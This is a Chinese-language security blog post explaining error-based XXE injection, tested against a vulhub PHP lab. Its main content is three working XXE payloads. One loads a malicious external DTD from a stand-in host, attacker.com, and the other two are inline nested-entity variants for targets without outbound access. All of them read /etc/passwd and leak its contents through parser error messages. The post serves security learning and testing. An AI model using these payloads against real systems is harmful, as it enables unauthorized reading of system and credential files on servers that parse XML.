Error Based XXE
发表于:2025-12-12 | 分类: trick

Error Based XXE

在看代码审计知识星球时,学到了一种新的XXE的利用方式:Error Based XXE,一般在无回显的情况下使用

先来说报错XXE的前提条件:目标服务器开启了报错(报错XXE当然要报错了)

漏洞环境:https://github.com/vulhub/vulhub/tree/master/php/php_xxe

首先贴出来Error Based XXE的Poc

1
2
3
4
5
6
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % ext SYSTEM "http://attacker.com/ext.dtd">
%ext;
]>
<message></message>

ext.dtd的内容如下,开启http服务将其暴露在公网

1
2
3
4
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

看到上面的Poc,和我们无回显XXE的Poc非常相似,只是http/ftp协议被替换成了file协议,通过FileNotFound异常将我们读取到的内容回显出来,并且使用file协议并不会因为换行的原因无法读取多行文件

这种情况明显是在出网的情况下,而在不出网的情况下,也有解决办法

首先将ext.dtd引入进来,替换掉%ext,并且将其中的%进行Unicode编码

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "
<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/&#x25;file;'
>
">
%eval;
%error;
]>
<message></message>

可以看到我们的路径已经爆出来了<font style="color:rgb(0, 0, 0);">file:///nonexistent/%file</font>,但是<font style="color:rgb(0, 0, 0);">%file</font>并没有被替换为<font style="color:rgb(0, 0, 0);">/etc/passwd</font>

我们只需要再嵌套再一个内部实体,就可以将%file替换为我们读取到的内容

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % condition '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%condition;
]>
<message>any text</message>

上一篇:
EL表达式Trick
下一篇:
JavaScript大小写特性